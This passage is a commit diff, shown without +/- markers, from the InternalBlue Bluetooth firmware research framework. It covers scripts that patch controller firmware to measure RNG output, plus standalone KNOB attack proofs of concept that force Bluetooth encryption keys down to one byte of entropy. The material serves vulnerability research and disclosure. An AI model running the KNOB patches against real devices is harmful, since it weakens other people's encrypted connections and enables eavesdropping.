progress_log = log.info("installing assembly patches...")
# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
internalblue.logger.critical("error!")
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
internalblue.logger.critical("Could not disable original RNG!")
log.critical("Could not disable original RNG!")
exit(-1)
internalblue.logger.info("Installed all RNG hooks.")
log.info("Installed all RNG hooks.")
adb.process(["su", "-c", "svc wifi disable"])
internalblue.logger.info("Disabled Wi-Fi core.")
log.info("Disabled Wi-Fi core.")
"""
@@ -158,19 +164,20 @@ def rngStatusCallback(record):
return
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
internalblue.logger.debug("Random data done!")
log.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
# read for multiple rounds to get more experiment data
rounds = 100
i = 0
data = bytearray()
while rounds > i:
internalblue.logger.info("RNG round %i..." % i)
log.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
@@ -186,13 +193,13 @@ while rounds > i:
i = i + 1
internalblue.logger.info("Finished acquiring random data!")
log.info("Finished acquiring random data!")
# every 5th byte i 0x42
check = data[4::5]
for c in check:
if c != 0x42:
internalblue.logger.error("Data was corrupted by another process!")
log.error("Data was corrupted by another process!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
@@ -203,9 +210,9 @@ f.write(data)
f.close()
internalblue.logger.info("--------------------")
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
#log.info("--------------------")
#log.info("Entering InternalBlue CLI to interpret RNG.")
## enter CLI
#cli.commandLoop(internalblue)
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
+28 -25
View File
@@ -1,19 +1,14 @@
#!/usr/bin/python3
#!/usr/bin/python2
# Jiska Classen, Secure Mobile Networking Lab
import sys
import argparse
from argparse import Namespace
import cmd2
from cmd2 import CommandSet
from internalblue.adbcore import ADBCore
import internalblue.cli as cli
import internalblue.cmds as cmd
import internalblue.hci as hci
from internalblue.utils.packing import p16, u16
from internalblue.cli import auto_int
from internalblue.cli import InternalBlueCLI
from internalblue.cmds import auto_int
from internalblue.utils.pwnlib_wrapper import u8, p16, u16, log
"""
This is a standalone PoC for the KNOB attack on a Nexus 6P.
@@ -31,15 +26,15 @@ internalblue.interface = internalblue.device_list()[0][1] # just use the first
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
log.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("Installing patch which ensures that send_LMP_encryption_key_size_req is always len=1!")
log.info("Installing patch which ensures that send_LMP_encryption_key_size_req is always len=1!")
# modify function lm_SendLmpEncryptKeySizeReq
# patch = asm("mov r2, #0x1", vma=0x4BC6E) # connection struct key entropy
# internalblue.patchRom(0x4BC6E, patch)
#patch = asm("mov r2, #0x1", vma=0x4BC6E) # connection struct key entropy
#internalblue.patchRom(0x4BC6E, patch)
# this somehow crashes on the Nexus 6P, but the global variable seems to be sufficient :)
# modify global variable for own setting
@@ -47,7 +42,7 @@ internalblue.writeMem(0x204147, b'\x01') # global key entropy
internalblue.logger.info("-----------------------KNOB-----------------------\n"
log.info("-----------------------KNOB-----------------------\n"
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
"To monitor device behavior, continue on the CLI, ideally with diagnostic LMP mode.\n"
"On Android, this requires a modified bluetooth.default.so.\n"
@@ -58,13 +53,20 @@ internalblue.logger.info("-----------------------KNOB-----------------------\n"
"...shows the key size of handle 0x000c.\n")
class KnobCommands(CommandSet):
knob_parser = argparse.ArgumentParser()
knob_parser.add_argument("--hnd", type=auto_int, default=0x000c, help="Handle KNOB connection.")
class CmdKnob(cmd.Cmd):
"""
Introduce a new CLI command to make KNOB debugging easier...
"""
keywords = ["knob"]
description = "Debugs which key length is currently active within a connection handle."
@cmd2.with_argparser(knob_parser)
def work(self, args):
"""Introduce a new CLI command to make KNOB debugging easier..."""
parser = cmd.argparse.ArgumentParser(prog=keywords[0], description=description)
parser.add_argument("--hnd", type=auto_int, default=0x000c,
help="Handle KNOB connection.")
def work(self):
args = self.getArgs()
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
return True
@@ -80,18 +82,19 @@ def hciKnobCallback(record):
if hcipkt.event_code == 0x0e:
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
if hcipkt.data[3] == 0x12: # Error
internalblue.logger.info("No key size available.\n"
log.info("No key size available.\n"
" - Did you already negotiate an encrypted connection?\n"
" - Did you choose the correct connection handle?\n")
else:
internalblue.logger.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
return
# add our command
cmd.CmdKnob = CmdKnob
internalblue.registerHciCallback(hciKnobCallback)
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
cli.commandLoop(internalblue)
+33 -24
View File
@@ -3,17 +3,15 @@
# Jiska Classen, Secure Mobile Networking Lab
import sys
from argparse import Namespace
from pwnlib import adb
from pwnlib.asm import asm
from pwn import *
from internalblue.adbcore import ADBCore
import internalblue.hci as hci
import internalblue.cli as cli
import numpy as np
from datetime import datetime
from internalblue.cli import InternalBlueCLI
"""
Measure the RNG of the Nexus 6.
@@ -58,7 +56,7 @@ ASM_SNIPPET_RNG = """
ldr r1, =0x%x // dst: store RNG data here
bl dump_rng
// done, let us notify
// done, let's notify
bl notify_hci
// back to lr
@@ -99,7 +97,7 @@ ASM_SNIPPET_RNG = """
//// issue an HCI event once we are done
//// issue an HCI event once we're done
notify_hci:
push {r0-r4, lr}
@@ -132,34 +130,40 @@ internalblue.interface = internalblue.device_list()[0][1] # just use the first
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
log.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("installing assembly patches to crash other device on connect requests...")
progress_log = log.info("installing assembly patches to crash other device on connect requests...")
# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
internalblue.logger.critical("error!")
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
# Nexus 6P Launch_RAM fix: overwrite an unused HCI handler
# Here it is not called within the handler table but within another function.
patch = asm("b 0x%x" % ASM_LOCATION_RNG, vma=0x59042)
if not internalblue.patchRom(0x59042, patch):
internalblue.logger.critical("Could not implement our launch RAM fix!")
log.critical("Could not implement our launch RAM fix!")
exit(-1)
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
internalblue.logger.critical("Could not disable original RNG!")
log.critical("Could not disable original RNG!")
exit(-1)
internalblue.logger.info("Installed all RNG hooks.")
log.info("Installed all RNG hooks.")
adb.process(["su", "-c", "svc wifi disable"])
internalblue.logger.info("Disabled Wi-Fi core.")
log.info("Disabled Wi-Fi core.")
"""
@@ -176,19 +180,24 @@ def rngStatusCallback(record):
return
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
internalblue.logger.debug("Random data done!")
log.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
# enter CLI
#cli.commandLoop(internalblue)
# read for multiple rounds to get more experiment data
rounds = 1000
i = 0
data = bytearray()
while rounds > i:
internalblue.logger.info("RNG round %i..." % i)
log.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
@@ -208,13 +217,13 @@ while rounds > i:
i = i + 1
internalblue.logger.info("Finished acquiring random data!")
log.info("Finished acquiring random data!")
# every 5th byte i 0x42
check = data[4::5]
for c in check:
if c != 0x42:
internalblue.logger.error("Data was corrupted by another process!")
log.error("Data was corrupted by another process!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
@@ -225,9 +234,9 @@ f.write(data)
f.close()
internalblue.logger.info("--------------------")
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
#log.info("--------------------")
#log.info("Entering InternalBlue CLI to interpret RNG.")
## enter CLI
#cli.commandLoop(internalblue)
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
+33 -22
View File
@@ -1,16 +1,17 @@
#!/usr/bin/python2
# Jiska Classen, Secure Mobile Networking Lab
import sys
from argparse import Namespace
from pwnlib import adb
from pwnlib.asm import asm
import sys
from pwn import *
from internalblue.adbcore import ADBCore
import internalblue.hci as hci
import internalblue.cli as cli
import numpy as np
from internalblue.cli import InternalBlueCLI
"""
Measure the RNG of the Nexus 6.
@@ -56,7 +57,7 @@ ASM_SNIPPET_RNG = """
ldr r1, =0x%x // dst: store RNG data here
bl dump_pseudo
// done, let us notify
// done, let's notify
bl notify_hci
// back to lr
@@ -85,7 +86,7 @@ ASM_SNIPPET_RNG = """
//// issue an HCI event once we are done
//// issue an HCI event once we're done
notify_hci:
push {r0-r4, lr}
@@ -118,28 +119,33 @@ internalblue.interface = internalblue.device_list()[0][1] # just use the first
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
log.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("installing assembly patches...")
progress_log = log.info("installing assembly patches...")
# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
internalblue.logger.critical("error!")
progress_log.critical("error!")
exit(-1)
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
internalblue.logger.critical("Could not disable original RNG!")
log.critical("Could not disable original RNG!")
exit(-1)
internalblue.logger.info("Installed all RNG hooks.")
log.info("Installed all RNG hooks.")
adb.process(["su", "-c", "svc wifi disable"])
internalblue.logger.info("Disabled Wi-Fi core.")
log.info("Disabled Wi-Fi core.")
"""
@@ -156,19 +162,24 @@ def rngStatusCallback(record):
return
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
internalblue.logger.info("Random data done!")
log.info("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
# enter CLI
#cli.commandLoop(internalblue)
# read for multiple rounds to get more experiment data
rounds = 100
i = 0
data = bytearray()
while rounds > i:
internalblue.logger.info("RNG round %i..." % i)
log.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
@@ -188,13 +199,13 @@ while rounds > i:
i = i + 1
internalblue.logger.info("Finished acquiring random data!")
log.info("Finished acquiring random data!")
# every 5th byte i 0x42
check = data[4::5]
for c in check:
if c != 0x42:
internalblue.logger.error("Data was corrupted by another process!")
log.error("Data was corrupted by another process!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
@@ -205,9 +216,9 @@ f.write(data)
f.close()
internalblue.logger.info("--------------------")
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
#log.info("--------------------")
#log.info("Entering InternalBlue CLI to interpret RNG.")
## enter CLI
#cli.commandLoop(internalblue)
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
+11 -10
View File
@@ -5,14 +5,14 @@
# Get receive statistics on a Raspberry Pi 3 for BLE connection events
from internalblue import Address
from internalblue.hcicore import HCICore
from pwnlib.asm import asm
from internalblue.utils.pwnlib_wrapper import log, asm
internalblue = HCICore()
device_list = internalblue.device_list()
if len(device_list) == 0:
internalblue.logger.warn("No HCI devices connected!")
log.warn("No HCI devices connected!")
exit(-1)
internalblue.interface = device_list[0][1] # just use the first device
internalblue.interface = device_list[0][1] # just use the first device
RX_DONE_HOOK_ADDRESS = Address(0x35fbc) # _connTaskRxDone
@@ -68,21 +68,22 @@ ASM_HOOKS = """
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
log.critical("No connection to target device.")
exit(-1)
# Install hooks
code = asm(ASM_HOOKS, vma=HOOKS_LOCATION)
internalblue.logger.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
log.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
if not internalblue.writeMem(HOOKS_LOCATION, code):
internalblue.logger.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
log.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
exit(-1)
internalblue.logger.info("Installing hook patch...")
log.info("Installing hook patch...")
patch = asm("b 0x%x" % HOOKS_LOCATION, vma=RX_DONE_HOOK_ADDRESS)
if not internalblue.patchRom(RX_DONE_HOOK_ADDRESS, patch):
internalblue.logger.critical("Installing patch for _connTaskRxDone failed!")
log.critical("Installing patch for _connTaskRxDone failed!")
exit(-1)
internalblue.logger.info("--------------------")
internalblue.logger.info("To see statistics, execute 'internalblue' and run 'log_level debug'.")
log.info("--------------------")
log.info("To see statistics, execute 'internalblue' and run 'log_level debug'.")
+40 -35
View File
@@ -1,18 +1,11 @@
#!/usr/bin/python3
# Jiska Classen, Secure Mobile Networking Lab
import sys
import argparse
from argparse import Namespace
import cmd2
from cmd2 import CommandSet
from pwnlib.asm import asm
from internalblue import Address, hci
from internalblue.cli import InternalBlueCLI, auto_int
from internalblue import Address
from internalblue.utils.pwnlib_wrapper import log, asm
from internalblue.hcicore import HCICore
from internalblue.utils.packing import p16, u16
"""
This is a standalone PoC for the KNOB attack on a Raspberry Pi 3.
@@ -24,15 +17,17 @@ This PoC is much shorter since it only modifies global variables for key entropy
"""
internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
log.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("Installing patch which ensures that send_LMP_encryption_key_size_req is always len=1!")
log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!")
# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x689F0) # connection struct key entropy
@@ -41,24 +36,32 @@ internalblue.patchRom(Address(0x689F0), patch)
# modify global variable for own setting
internalblue.writeMem(0x204127, b'\x01') # global key entropy
internalblue.logger.info("-----------------------\n"
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
"Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
"For more details, see special instructions for BlueZ.\n"
"-----------------------KNOB-----------------------\n"
"Automatically continuing on KNOB interface...\n"
"Use the 'knob' command to *debug* the attack, i.e.:\n"
" knob --hnd 0x0c\n"
"...shows the key size of handle 0x000c.\n")
log.info("-----------------------\n"
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
"Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
"For more details, see special instructions for BlueZ.\n"
"-----------------------KNOB-----------------------\n"
"Automatically continuing on KNOB interface...\n"
"Use the 'knob' command to *debug* the attack, i.e.:\n"
" knob --hnd 0x0c\n"
"...shows the key size of handle 0x000c.\n")
class KnobCommands(CommandSet):
knob_parser = argparse.ArgumentParser()
knob_parser.add_argument("--hnd", type=auto_int, default=0x000c, help="Handle KNOB connection.")
class CmdKnob(cmd.Cmd):
"""
Introduce a new CLI command to make KNOB debugging easier...
"""
keywords = ["knob"]
description = "Debugs which key length is currently active within a connection handle."
@cmd2.with_argparser(knob_parser)
def work(self, args):
"""Debugs which key length is currently active within a connection handle."""
parser = cmd.argparse.ArgumentParser(prog=keywords[0], description=description)
parser.add_argument("--hnd", type=auto_int, default=0x000c,
help="Handle KNOB connection.")
def work(self):
args = self.getArgs()
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
return True
@@ -73,19 +76,21 @@ def hciKnobCallback(record):
if hcipkt.event_code == 0x0e:
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
if hcipkt.data[3] == 0x12: # Error
internalblue.logger.info("No key size available.\n"
" - Did you already negotiate an encrypted connection?\n"
" - Did you choose the correct connection handle?\n")
if hcipkt.data[3] == 0x12: # Error
log.info("No key size available.\n"
" - Did you already negotiate an encrypted connection?\n"
" - Did you choose the correct connection handle?\n")
else:
internalblue.logger.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
return
# add our command
cmd.CmdKnob = CmdKnob
internalblue.registerHciCallback(hciKnobCallback)
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
cli.commandLoop(internalblue)
+33 -23
View File
@@ -2,16 +2,16 @@
# Jiska Classen, Secure Mobile Networking Lab
import os
import sys
from argparse import Namespace
import numpy as np
from pwnlib.asm import asm
import internalblue.hci as hci
from internalblue.cli import InternalBlueCLI
from pwn import *
from internalblue.hcicore import HCICore
import internalblue.hci as hci
import internalblue.cli as cli
import numpy as np
import os
"""
Measure the RNG of the Raspberry Pi 3.
@@ -123,27 +123,33 @@ internalblue.interface = internalblue.device_list()[0][1] # just use the first
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
log.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("installing assembly patches...")
progress_log = log.info("installing assembly patches...")
# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
internalblue.logger.critical("error!")
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
internalblue.logger.critical("Could not disable original RNG!")
log.critical("Could not disable original RNG!")
exit(-1)
internalblue.logger.info("Installed all RNG hooks.")
log.info("Installed all RNG hooks.")
os.system("sudo rfkill block wifi")
internalblue.logger.info("Disabled Wi-Fi core.")
log.info("Disabled Wi-Fi core.")
"""
@@ -160,19 +166,22 @@ def rngStatusCallback(record):
return
if hcipkt.data[0:9] == b'\x00\x00\x00\x00\x55\x0d\x00\x00\x00':
internalblue.logger.debug("Random data done!")
log.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
#cli.commandLoop(internalblue)
# read for multiple rounds to get more experiment data
rounds = 1000
i = 0
data = bytearray()
while rounds > i:
internalblue.logger.info("RNG round %i..." % i)
log.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
@@ -188,13 +197,13 @@ while rounds > i:
i = i + 1
internalblue.logger.info("Finished acquiring random data!")
log.info("Finished acquiring random data!")
# every 5th byte i 0x42
check = data[4::5]
for c in check:
if c != 0x42:
internalblue.logger.error("Data was corrupted by another process!")
log.error("Data was corrupted by another process!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
@@ -204,9 +213,10 @@ f = open("rpi3-randomdata-%irounds.bin" % rounds, "wb")
f.write(data)
f.close()
internalblue.logger.info("--------------------")
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
#log.info("--------------------")
#log.info("Entering InternalBlue CLI to interpret RNG.")
## enter CLI
#cli.commandLoop(internalblue)
+37 -27
View File
@@ -2,16 +2,16 @@
# Jiska Classen, Secure Mobile Networking Lab
import os
import sys
from argparse import Namespace
import numpy as np
from pwnlib.asm import asm
import internalblue.hci as hci
from internalblue.cli import InternalBlueCLI
from pwn import *
from internalblue.hcicore import HCICore
import internalblue.hci as hci
import internalblue.cli as cli
import numpy as np
import os
"""
Measure the RNG of the Raspberry Pi 3.
@@ -117,33 +117,40 @@ ASM_SNIPPET_RNG = """
""" % (MEM_ROUNDS, MEM_RNG, PRAND)
internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
log.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("installing assembly patches...")
progress_log = log.info("installing assembly patches...")
# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
internalblue.logger.critical("error!")
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
internalblue.logger.critical("Could not disable original RNG!")
log.critical("Could not disable original RNG!")
exit(-1)
internalblue.logger.info("Installed all RNG hooks.")
log.info("Installed all RNG hooks.")
os.system("sudo rfkill block wifi")
internalblue.logger.info("Disabled Wi-Fi core.")
log.info("Disabled Wi-Fi core.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
@@ -152,8 +159,6 @@ than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
@@ -161,19 +166,22 @@ def rngStatusCallback(record):
return
if hcipkt.data[0:9] == b'\x00\x00\x00\x00\x55\x0d\x00\x00\x00':
internalblue.logger.debug("Random data done!")
log.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
#cli.commandLoop(internalblue)
# read for multiple rounds to get more experiment data
rounds = 100
i = 0
data = bytearray()
while rounds > i:
internalblue.logger.info("RNG round %i..." % i)
log.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
@@ -184,29 +192,31 @@ while rounds > i:
internalblue.rnd_done = False
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS * 5)
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
data.extend(random)
i = i + 1
internalblue.logger.info("Finished acquiring random data!")
log.info("Finished acquiring random data!")
# every 5th byte i 0x42
check = data[4::5]
for c in check:
if c != 0x42:
internalblue.logger.error("Data was corrupted by another process!")
log.error("Data was corrupted by another process!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("raspi3_randomdata_pseudo-%irounds-reg0x%x.bin" % (rounds, PRAND), "wb")
f.write(data)
f.close()
internalblue.logger.info("--------------------")
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
#log.info("--------------------")
#log.info("Entering InternalBlue CLI to interpret RNG.")
## enter CLI
#cli.commandLoop(internalblue)
+12 -10
View File
@@ -3,16 +3,17 @@
# Jiska Classen
# Get receive statistics on a Raspberry Pi 3 for BLE connection events
from pwnlib.asm import asm
from internalblue import Address
from internalblue.hcicore import HCICore
from internalblue.utils.pwnlib_wrapper import log, asm
internalblue = HCICore()
device_list = internalblue.device_list()
if len(device_list) == 0:
internalblue.logger.warning("No HCI devices connected!")
log.warn("No HCI devices connected!")
exit(-1)
internalblue.interface = device_list[0][1] # just use the first device
internalblue.interface = device_list[0][1] # just use the first device
RX_DONE_HOOK_ADDRESS = Address(0x56622) # _connTaskRxDone
HOOKS_LOCATION = 0x210500
@@ -67,21 +68,22 @@ ASM_HOOKS = """
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
log.critical("No connection to target device.")
exit(-1)
# Install hooks
code = asm(ASM_HOOKS, vma=HOOKS_LOCATION)
internalblue.logger.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
log.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
if not internalblue.writeMem(HOOKS_LOCATION, code):
internalblue.logger.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
log.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
exit(-1)
internalblue.logger.info("Installing hook patch...")
log.info("Installing hook patch...")
patch = asm("b 0x%x" % HOOKS_LOCATION, vma=RX_DONE_HOOK_ADDRESS)
if not internalblue.patchRom(RX_DONE_HOOK_ADDRESS, patch):
internalblue.logger.critical("Installing patch for _connTaskRxDone failed!")
log.critical("Installing patch for _connTaskRxDone failed!")
exit(-1)
internalblue.logger.info("--------------------")
internalblue.logger.info("To see statistics, execute 'internalblue' and run 'log_level debug'.")
log.info("--------------------")
log.info("To see statistics, execute 'internalblue' and run 'log_level debug'.")
+39 -35
View File
@@ -1,18 +1,10 @@
#!/usr/bin/python3
# Jiska Classen, Secure Mobile Networking Lab
import sys
import argparse
from argparse import Namespace
import cmd2
from cmd2 import CommandSet
from pwnlib.asm import asm
from internalblue import Address, hci
from internalblue.cli import InternalBlueCLI, auto_int
from internalblue import Address
from internalblue.hcicore import HCICore
from internalblue.utils.packing import p16, u16
from internalblue.utils.pwnlib_wrapper import log, asm
"""
This is a standalone PoC for the KNOB attack on a Raspberry Pi 3+/4.
@@ -24,15 +16,17 @@ This PoC is much shorter since it only modifies global variables for key entropy
"""
internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
log.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("Installing patch which ensures that send_LMP_encryption_key_size_req is always len=1!")
log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!")
# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x3B3D4) # connection struct key entropy
@@ -41,24 +35,32 @@ internalblue.patchRom(Address(0x3B3D4), patch)
# modify global variable for own setting
internalblue.writeMem(0x204A5F, b'\x01') # global key entropy
internalblue.logger.info("-----------------------\n"
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
"Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
"For more details, see special instructions for BlueZ.\n"
"-----------------------KNOB-----------------------\n"
"Automatically continuing on KNOB interface...\n"
"Use the 'knob' command to *debug* the attack, i.e.:\n"
" knob --hnd 0x0c\n"
"...shows the key size of handle 0x000c.\n")
log.info("-----------------------\n"
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
"Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
"For more details, see special instructions for BlueZ.\n"
"-----------------------KNOB-----------------------\n"
"Automatically continuing on KNOB interface...\n"
"Use the 'knob' command to *debug* the attack, i.e.:\n"
" knob --hnd 0x0c\n"
"...shows the key size of handle 0x000c.\n")
class KnobCommands(CommandSet):
knob_parser = argparse.ArgumentParser()
knob_parser.add_argument("--hnd", type=auto_int, default=0x000c, help="Handle KNOB connection.")
class CmdKnob(cmd.Cmd):
"""
Introduce a new CLI command to make KNOB debugging easier...
"""
keywords = ["knob"]
description = "Debugs which key length is currently active within a connection handle."
@cmd2.with_argparser(knob_parser)
def work(self, args):
"""Debugs which key length is currently active within a connection handle."""
parser = cmd.argparse.ArgumentParser(prog=keywords[0], description=description)
parser.add_argument("--hnd", type=auto_int, default=0x000c,
help="Handle KNOB connection.")
def work(self):
args = self.getArgs()
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
return True
@@ -73,19 +75,21 @@ def hciKnobCallback(record):
if hcipkt.event_code == 0x0e:
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
if hcipkt.data[3] == 0x12: # Error
internalblue.logger.info("No key size available.\n"
" - Did you already negotiate an encrypted connection?\n"
" - Did you choose the correct connection handle?\n")
if hcipkt.data[3] == 0x12: # Error
log.info("No key size available.\n"
" - Did you already negotiate an encrypted connection?\n"
" - Did you choose the correct connection handle?\n")
else:
internalblue.logger.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
return
# add our command
cmd.CmdKnob = CmdKnob
internalblue.registerHciCallback(hciKnobCallback)
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
cli.commandLoop(internalblue)
+39 -27
View File
@@ -2,16 +2,16 @@
# Jiska Classen, Secure Mobile Networking Lab
